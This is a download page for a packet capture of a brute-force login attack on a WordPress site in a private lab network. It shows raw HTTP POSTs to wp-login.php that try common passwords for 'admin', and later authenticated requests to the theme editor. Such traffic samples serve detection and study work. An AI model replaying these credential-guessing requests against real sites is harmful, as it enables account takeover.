Text Example

WordPress wp-login Brute Force Login Web Attack PCAP File Download Traffic Sample

Download Attachments

  • 1 pcap 15
    Date added: May 23, 2019 9:45 pm Added by: admin File size: 1 MB Downloads: 8

2018-10-10 14:01:15.364416 IP 192.168.43.245.49642 > 192.168.43.80.80: Flags [P.], seq 1:669, ack 1, win 229, options [nop,nop,TS val 3215461067 ecr 4913218], length 668: HTTP: POST /wp-login.php HTTP/1.1
E….w@.@…..+…+P…P…………Z……
..
..J.BPOST /wp-login.php HTTP/1.1
Host: 192.168.43.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.80/wp-login.php?redirect_to=http%3A%2F%2F192.168.43.80%2Fwp-admin%2Ftools.php&reauth=1
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

log=admin&pwd=password&wp-submit=Acceder&redirect_to=http%3A%2F%2F192.168.43.80%2Fwp-admin%2Ftools.php&testcookie=1
2018-10-10 14:01:15.364434 IP 192.168.43.80.80 > 192.168.43.245.49642: Flags [.], ack 669, win 237, options [nop,nop,TS val 4913218 ecr 3215461067], length 0
E..4A.@.@. …+P..+..P………X………..
.J.B..
.
2018-10-10 14:01:15.405235 IP 192.168.43.80.80 > 192.168.43.245.49642: Flags [P.], seq 1:1886, ack 669, win 237, options [nop,nop,TS val 4913228 ecr 3215461067], length 1885: HTTP: HTTP/1.1 200 OK
E…A.@.@..8..+P..+..P………X………..
.J.L..
.HTTP/1.1 200 OK
Date: Wed, 10 Oct 2018 18:01:15 GMT
Server: Apache/2.4.25 (Debian)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1488
Connection: close
Content-Type: text/html; charset=UTF-8

………..W.n.6………,.N.!.,..I……….Z<..P.JRv<….].{…….beI[..7.yx~.sx~……g..=&….........9&....0...*..N....i..V.p.(.j......+...TP.L..="h.H<...;..}..... ....[3.r>...i... ....(....%VY..+.L...0P..l]...w.g..DVyL..*.&...u..DV..F..y...E....+..w.V ..q..Y...&......b..T....'Q-.Z./.......A..&.|....H.+..omv..Y….iY…….w…G..(Z..e9/”!).j….gi2..y.3..a.[[..O^<|.aTg………K………^8.%..qx….....,..'90N.. QCwA/h.LJ..A.6.~!y.. m.!W~.......*.2..Yqf.......Ms+:U.45...?.%..........%j! .WEj.,.v1..y. .9..c.j..x."....7.i}&.*G.A.0...h.B........s/.[...R.K..Vf…H.d}.r..X……?.-.?..6..,D.9..R.6..B.s…[……..o..J..u(.9../.o...R.+.3z .....4.!f.. .g.#.A.h.X.l:.l.l.x..2..+...[...a.........N.O}...5...\............F...v....2)E.+E………G….G.w4….1.Pm….b..’7.r..~t.r.#..Z.O…?n……….ITg…..G3..m.t.E.o@…&a%.RAPq..)......6...p....l<...7....9……………5…Q.P4.T…V.Dg.B./.{…N”:E….[..@)..)V.Q.XL.OOON1…).A.3….tE….dy…L…+..9g…:l…..S..7……….S.>….?.3.y..……..m..Sl….z…2$….$Jc..7.JwG..@…}F..h..n($.F.i…,.SA.lP.”^.U..y;.5..z..i..f…l}..n..U.a.. .yD…{0.}v.9….O.c..M_.b}?..[j@.+….|…..C…..%^N….0…..5..b..q”. …..y..A. …G..9.G…….W…..f97..h5….YK.v;.FM=.I……Z.[A…..S….2………..7…~.)..K.K..h.Jy.w…l…D..l……]A}…s.{z].L…j…B..Mv…>F>5..]..8Cp………>…….k.#.5..……m..`4..^…….I.O….5…[……m?...7..,T1.Y
,..%w…PqEk……..$z..|i…..z…e…..”…. 2018-10-10 14:01:15.405442 IP 192.168.43.80.80 > 192.168.43.245.49642: Flags [F.], seq 1886, ack 669, win 237, options [nop,nop,TS val 4913228 ecr 3215461067], length 0 E..4A.@.@. …+P..+..P…..7…X……….. .J.L.. . 2018-10-10 14:01:15.405536 IP 192.168.43.245.49642 > 192.168.43.80.80: Flags [.], ack 1886, win 258, options [nop,nop,TS val 3215461108 ecr 4913228], length 0 E..4.x@.@…..+…+P…P…X…7….w…… .. ..J.L 2018-10-10 14:01:15.406160 IP 192.168.43.245.49642 > 192.168.43.80.80: Flags [F.], seq 669, ack 1887, win 258, options [nop,nop,TS val 3215461108 ecr 4913228], length 0 E..4.y@.@…..+…+P…P…X…8….w…… .. ..J.L 2018-10-10 14:01:15.406169 IP 192.168.43.80.80 > 192.168.43.245.49642: Flags [.], ack 670, win 237, options [nop,nop,TS val 4913229 ecr 3215461108], length 0 E..4A.@.@. …+P..+..P…..8…Y……….. .J.M.. . 2018-10-10 14:01:15.723996 IP 192.168.43.245.49644 > 192.168.43.80.80: Flags [S], seq 1391568728, win 29200, options [mss 1460,sackOK,TS val 3215461426 ecr 0,nop,wscale 7], length 0 E..<.p@.@…..+…+P…PR..X……r.t………. …2…….. 2018-10-10 14:01:15.724022 IP 192.168.43.80.80 > 192.168.43.245.49644: Flags [S.], seq 1943432983, ack 1391568729, win 28960, options [mss 1460,sackOK,TS val 4913308 ecr 3215461426,nop,wscale 7], length 0 E..<..@.@.b&..+P..+..P..s.o.R..Y..q ……….. .J…..2…. 2018-10-10 14:01:15.724258 IP 192.168.43.245.49644 > 192.168.43.80.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 3215461427 ecr 4913308], length 0 E..4.q@.@…..+…+P…PR..Ys.o…..9 ….. …3.J.. 2018-10-10 14:01:15.724263 IP 192.168.43.245.49644 > 192.168.43.80.80: Flags [P.], seq 1:669, ack 1, win 229, options [nop,nop,TS val 3215461427 ecr 4913308], length 668: HTTP: POST /wp-login.php HTTP/1.1 E….r@.@…..+…+P…PR..Ys.o……2….. …3.J..POST /wp-login.php HTTP/1.1 Host: 192.168.43.80 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.80/wp-login.php?redirect_to=http%3A%2F%2F192.168.43.80%2Fwp-admin%2Ftools.php&reauth=1
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

log=admin&pwd=iloveyou&wp-submit=Acceder&redirect_to=http%3A%2F%2F192.168.43.80%2Fwp-admin%2Ftools.php&testcookie=1
2018-10-10 14:01:15.724279 IP 192.168.43.80.80 > 192.168.43.245.49644: Flags [.], ack 669, win 237, options [nop,nop,TS val 4913308 ecr 3215461427], length 0
E..4..@.@…..+P..+..P..s.o.R…………..
.J…..3
2018-10-10 14:01:15.768388 IP 192.168.43.80.80 > 192.168.43.245.49644: Flags [P.], seq 1:1886, ack 669, win 237, options [nop,nop,TS val 4913319 ecr 3215461427], length 1885: HTTP: HTTP/1.1 200 OK
E…..@.@..K..+P..+..P..s.o.R…………..
.J…..3HTTP/1.1 200 OK
Date: Wed, 10 Oct 2018 18:01:15 GMT
Server: Apache/2.4.25 (Debian)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1488
Connection: close
Content-Type: text/html; charset=UTF-8

………..W.n.6………,.N.!.,..I……….Z<..P.JRv<….].{…….beI[..7.yx~.sx~……g..=&….........9&....0...*..N....i..V.p.(.j......+...TP.L..="h.H<...;..}..... ....[3.r>...i... ....(....%VY..+.L...0P..l]...w.g..DVyL..*.&...u..DV..F..y...E....+..w.V ..q..Y...&......b..T....'Q-.Z./.......A..&.|....H.+..omv..Y….iY…….w…G..(Z..e9/”!).j….gi2..y.3..a.[[..O^<|.aTg………K………^8.%..qx….....,..'90N.. QCwA/h.LJ..A.6.~!y.. m.!W~.......*.2..Yqf.......Ms+:U.45...?.%..........%j! .WEj.,.v1..y. .9..c.j..x."....7.i}&.*G.A.0...h.B........s/.[...R.K..Vf…H.d}.r..X……?.-.?..6..,D.9..R.6..B.s…[……..o..J..u(.9../.o...R.+.3z .....4.!f.. .g.#.A.h.X.l:.l.l.x..2..+...[...a.........N.O}...5...\............F...v....2)E.+E………G….G.w4….1.Pm….b..’7.r..~t.r.#..Z.O…?n……….ITg…..G3..m.t.E.o@…&a%.RAPq..)......6...p....l<...7....9……………5…Q.P4.T…V.Dg.B./.{…N”:E….[..@)..)V.Q.XL.OOON1…).A.3….tE….dy…L…+..9g…:l…..S..7……….S.>….?.3.y..……..m..Sl….z…2$….$Jc..7.JwG..@…}F..h..n($.F.i…,.SA.lP.”^.U..y;.5..z..i..f…l}..n..U.a.. .yD…{0.}v.9….O.c..M_.b}?..[j@.+….|…..C…..%^N….0…..5..b..q”. …..y..A. …G..9.G…….W…..f97..h5….YK.v;.FM=.I……Z.[A…..S….2………..7…~.)..K.K..h.Jy.w…l…D..l……]A}…s.{z].L…j…B..Mv…>F>5..]..8Cp………>…….k.#.5..……m..`4..^…….I.O….5…[……m?...7..,T1.Y
,..%w…PqEk……..$z..|i…..z…e…..”…. 2018-10-10 14:01:15.768522 IP 192.168.43.80.80 > 192.168.43.245.49644: Flags [F.], seq 1886, ack 669, win 237, options [nop,nop,TS val 4913319 ecr 3215461427], length 0 E..4..@.@…..+P..+..P..s.vuR………….. .J…..3 2018-10-10 14:01:15.768678 IP 192.168.43.245.49644 > 192.168.43.80.80: Flags [.], ack 1886, win 258, options [nop,nop,TS val 3215461471 ecr 4913319], length 0 E..4.s@.@…..+…+P…PR…s.vu……….. ….J.. 2018-10-10 14:01:15.768992 IP 192.168.43.245.49644 > 192.168.43.80.80: Flags [F.], seq 669, ack 1887, win 258, options [nop,nop,TS val 3215461471 ecr 4913319], length 0 E..4.t@.@…..+…+P…PR…s.vv……….. ….J..
2018-10-10 14:01:15.769002 IP 192.168.43.80.80 > 192.168.43.245.49644: Flags [.], ack 670, win 237, options [nop,nop,TS val 4913319 ecr 3215461471], length 0
E..4..@.@…..+P..+..P..s.vvR…………..
.J….._
2018-10-10 14:01:16.198021 IP 192.168.43.245.49646 > 192.168.43.80.80: Flags [S], seq 702309491, win 29200, options [mss 1460,sackOK,TS val 3215461900 ecr 0,nop,wscale 7], length 0
E.. 192.168.43.245.49646: Flags [S.], seq 2811942701, ack 702309492, win 28960, options [mss 1460,sackOK,TS val 4913426 ecr 3215461900,nop,wscale 7], length 0
E..<..@.@.b&..+P..+..P…..-).dt..q ……….. .J………. 2018-10-10 14:01:16.198389 IP 192.168.43.245.49646 > 192.168.43.80.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 3215461901 ecr 4913426], length 0
E..4L.@.@..@..+…+P…P).dt……………
…..J..
2018-10-10 14:01:16.198395 IP 192.168.43.245.49646 > 192.168.43.80.80: Flags [P.], seq 1:669, ack 1, win 229, options [nop,nop,TS val 3215461901 ecr 4913426], length 668: HTTP: POST /wp-login.php HTTP/1.1
E…L.@.@…..+…+P…P).dt……………
…..J..POST /wp-login.php HTTP/1.1
Host: 192.168.43.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.80/wp-login.php?redirect_to=http%3A%2F%2F192.168.43.80%2Fwp-admin%2Ftools.php&reauth=1
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 115

log=admin&pwd=princess&wp-submit=Acceder&redirect_to=http%3A%2F%2F192.168.43.80%2Fwp-admin%2Ftools.php&testcookie=1
2018-10-10 14:01:16.198410 IP 192.168.43.80.80 > 192.168.43.245.49646: Flags [.], ack 669, win 237, options [nop,nop,TS val 4913427 ecr 3215461901], length 0
E..4.=@.@.3…+P..+..P……).g…………
.J…..
2018-10-10 14:01:16.273542 IP 192.168.43.80.80 > 192.168.43.245.49646: Flags [P.], seq 1:1886, ack 669, win 237, options [nop,nop,TS val 4913445 ecr 3215461901], length 1885: HTTP: HTTP/1.1 200 OK
E….>@.@.,…+P..+..P……).g…………
.J.%….HTTP/1.1 200 OK
Date: Wed, 10 Oct 2018 18:01:16 GMT
Server: Apache/2.4.25 (Debian)
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1488
Connection: close
Content-Type: text/html; charset=UTF-8

………..W.n.6………,.N.!.,..I……….Z<..P.JRv<….].{…….beI[..7.yx~.sx~……g..=&….........9&....0...*..N....i..V.p.(.j......+...TP.L..="h.H<...;..}..... ....[3.r>...i... ....(....%VY..+.L...0P..l]...w.g..DVyL..*.&...u..DV..F..y...E....+..w.V ..q..Y...&......b..T....'Q-.Z./.......A..&.|....H.+..omv..Y….iY…….w…G..(Z..e9/”!).j….gi2..y.3..a.[[..O^<|.aTg………K………^8.%..qx….....,..'90N.. QCwA/h.LJ..A.6.~!y.. m.!W~.......*.2..Yqf.......Ms+:U.45...?.%..........%j! .WEj.,.v1..y. .9..c.j..x."....7.i}&.*G.A.0...h.B........s/.[...R.K..Vf…H.d}.r..X……?.-.?..6..,D.9..R.6..B.s…[……..o..J..u(.9../.o...R.+.3z .....4.!f.. .g.#.A.h.X.l:.l.l.x..2..+...[...a.........N.O}...5...\............F...v....2)E.+E………G….G.w4….1.Pm….b..’7.r..~t.r.#..Z.O…?n……….ITg…..G3..m.t.E.o@…&a%.RAPq..)......6...p....l<...7....9……………5…Q.P4.T…V.Dg.B./.{…N”:E….[..@)..)V.Q.XL.OOON1…).A.3….tE….dy…L…+..9g…:l…..S..7……….S.>….?.3.y..……..m..Sl….z…2$….$Jc..7.JwG..@…}F..h..n($.F.i…,.SA.lP.”^.U..y;.5..z..i..f…l}..n..U.a.. .yD…{0.}v.9….O.c..M_.b}?..[j@.+….|…..C…..%^N….0…..5..b..q”. …..y..A. …G..9.G…….W…..f97..h5….YK.v;.FM=.I……Z.[A…..S….2………..7…~.)..K.K..h.Jy.w…l…D..l……]A}…s.{_z].L…j…B..Mv…>F>5..]..8Cp………>…….k.#.5..……m..4..^.......I.O....5.\..[......m?.._.7..,T1.Y ,..%w...PqEk........$z*..|i.....z...e.....".... 2018-10-10 14:01:16.273610 IP 192.168.43.80.80 > 192.168.43.245.49646: Flags [F.], seq 1886, ack 669, win 237, options [nop,nop,TS val 4913445 ecr 3215461901], length 0 E..4.@@.@.3...+P..+..P......).g............ .J.%... 2018-10-10 14:01:16.273809 IP 192.168.43.245.49646 > 192.168.43.80.80: Flags [.], ack 1886, win 258, options [nop,nop,TS val 3215461976 ecr 4913445], length 0 E..4L.@.@..>..+...+P...P).g..........b..... ...X.J.% 2018-10-10 14:01:16.274162 IP 192.168.43.245.49646 > 192.168.43.80.80: Flags [F.], seq 669, ack 1887, win 258, options [nop,nop,TS val 3215461976 ecr 4913445], length 0 E..4L.@.@..=..+...+P...P).g..........…..
…X.J.%
2018-10-10 14:01:16.274173 IP 192.168.43.80.80 > 192.168.43.245.49646: Flags [.], ack 670, win 237, options [nop,nop,TS val 4913446 ecr 3215461976], length 0
E..4.A@.@.3…+P..+..P……).g…………
.J.&…X
2018-10-10 14:01:16.733748 IP 192.168.43.245.49648 > 192.168.43.80.80: Flags [S], seq 3794718637, win 29200, options [mss 1460,sackOK,TS val 3215462436 ecr 0,nop,wscale 7], length 0
E..<..@.@.{…+…+P…P……….r..o……… …$…….. 2018-10-10 14:01:16.733766 IP 192.168.43.80.80 > 192.168.43.245.49648: Flags [S.], seq 2492122890, ack 3794718638, win 28960, options [mss 1460,sackOK,TS val 4913560 ecr 3215462436,nop,wscale 7], length 0
E..<..@.@.b&..+P..+..P….. …skipping… 2018-10-10 14:08:47.041130 IP 192.168.43.245.50276 > 192.168.43.80.80: Flags [.], ack 450, win 237, options [nop,nop,TS val 3215912743 ecr 5026137], length 0
E..4..@.@.p…+…+P.d.P.I.t…z….i……
…’.L.Y
2018-10-10 14:08:47.042449 IP 192.168.43.245.50276 > 192.168.43.80.80: Flags [F.], seq 1019, ack 451, win 237, options [nop,nop,TS val 3215912745 ecr 5026137], length 0
E..4..@.@.p…+…+P.d.P.I.t…{….i……
…).L.Y
2018-10-10 14:08:47.042490 IP 192.168.43.80.80 > 192.168.43.245.50276: Flags [.], ack 1020, win 243, options [nop,nop,TS val 5026138 ecr 3215912745], length 0
E..4..@.@.L;..+P..+..P.d…{.I.u………..
.L.Z…)
2018-10-10 14:10:46.996373 IP 192.168.43.245.50300 > 192.168.43.80.80: Flags [S], seq 2399677717, win 29200, options [mss 1460,sackOK,TS val 3216032699 ecr 0,nop,wscale 7], length 0
E..<{.@.@.. ..+…+P.|.P..-…….r………… ………… 2018-10-10 14:10:46.996404 IP 192.168.43.80.80 > 192.168.43.245.50300: Flags [S.], seq 2024785379, ack 2399677718, win 28960, options [mss 1460,sackOK,TS val 5056126 ecr 3216032699,nop,wscale 7], length 0
E..<..@.@.b&..+P..+..P.|x…..-…q ……….. .M&~…….. 2018-10-10 14:10:46.996682 IP 192.168.43.245.50300 > 192.168.43.80.80: Flags [.], ack 1, win 229, options [nop,nop,TS val 3216032699 ecr 5056126], length 0
E..4{.@.@…..+…+P.|.P..-.x…….3……
…..M&~
2018-10-10 14:10:46.996691 IP 192.168.43.245.50300 > 192.168.43.80.80: Flags [P.], seq 1:1019, ack 1, win 229, options [nop,nop,TS val 3216032699 ecr 5056126], length 1018: HTTP: POST /wp-admin/admin-ajax.php HTTP/1.1
E…{.@.@…..+…+P.|.P..-.x…….FF…..
…..M&~POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.43.80
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.43.80/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 85
Cookie: wordpress_55dad8e7b6cfdf6ce859986d86d03be8=test%7C1539367650%7CZg8qJPYVd5gfhnzZLtBtph615iQiamr9MUCBSGvyfEg%7C509a38fde30164e70b5fc3bac2ed875a06a488591611e6e0cf9e51cb80545a53; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_55dad8e7b6cfdf6ce859986d86d03be8=test%7C1539367650%7CZg8qJPYVd5gfhnzZLtBtph615iQiamr9MUCBSGvyfEg%7C9deed5ee704ae3f77c5be9754b7a6cfc153117b96e61e4162710074d32e98d7a; wp-settings-time-2=1539194866
Connection: close

interval=60&_nonce=709d7b8669&action=heartbeat&screen_id=theme-editor&has_focus=false
2018-10-10 14:10:46.996712 IP 192.168.43.80.80 > 192.168.43.245.50300: Flags [.], ack 1019, win 243, options [nop,nop,TS val 5056126 ecr 3216032699], length 0
E..4..@.@.~…+P..+..P.|x…..1…………
.M&~….
2018-10-10 14:10:47.081051 IP 192.168.43.80.80 > 192.168.43.245.50300: Flags [P.], seq 1:450, ack 1019, win 243, options [nop,nop,TS val 5056147 ecr 3216032699], length 449: HTTP: HTTP/1.1 200 OK
E…..@.@.|…+P..+..P.|x…..1……}…..
.M&…..HTTP/1.1 200 OK
Date: Wed, 10 Oct 2018 18:10:46 GMT
Server: Apache/2.4.25 (Debian)
X-Robots-Tag: noindex
X-Content-Type-Options: nosniff
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Content-Length: 47
Connection: close
Content-Type: application/json; charset=UTF-8

{“wp-auth-check”:true,”server_time”:1539195047}
2018-10-10 14:10:47.081164 IP 192.168.43.80.80 > 192.168.43.245.50300: Flags [F.], seq 450, ack 1019, win 243, options [nop,nop,TS val 5056147 ecr 3216032699], length 0
E..4..@.@.~…+P..+..P.|x…..1…………
.M&…..
2018-10-10 14:10:47.081501 IP 192.168.43.245.50300 > 192.168.43.80.80: Flags [.], ack 450, win 237, options [nop,nop,TS val 3216032784 ecr 5056147], length 0
E..4{.@.@…..+…+P.|.P..1.x…….-^…..
…..M&.
2018-10-10 14:10:47.082412 IP 192.168.43.245.50300 > 192.168.43.80.80: Flags [F.], seq 1019, ack 451, win 237, options [nop,nop,TS val 3216032785 ecr 5056147], length 0
E..4{ @.@…..+…+P.|.P..1.x…….-[…..
…..M&.
2018-10-10 14:10:47.082430 IP 192.168.43.80.80 > 192.168.43.245.50300: Flags [.], ack 1020, win 243, options [nop,nop,TS val 5056148 ecr 3216032785], length 0
E..4..@.@.~…+P..+..P.|x…..1…………

Leave a Reply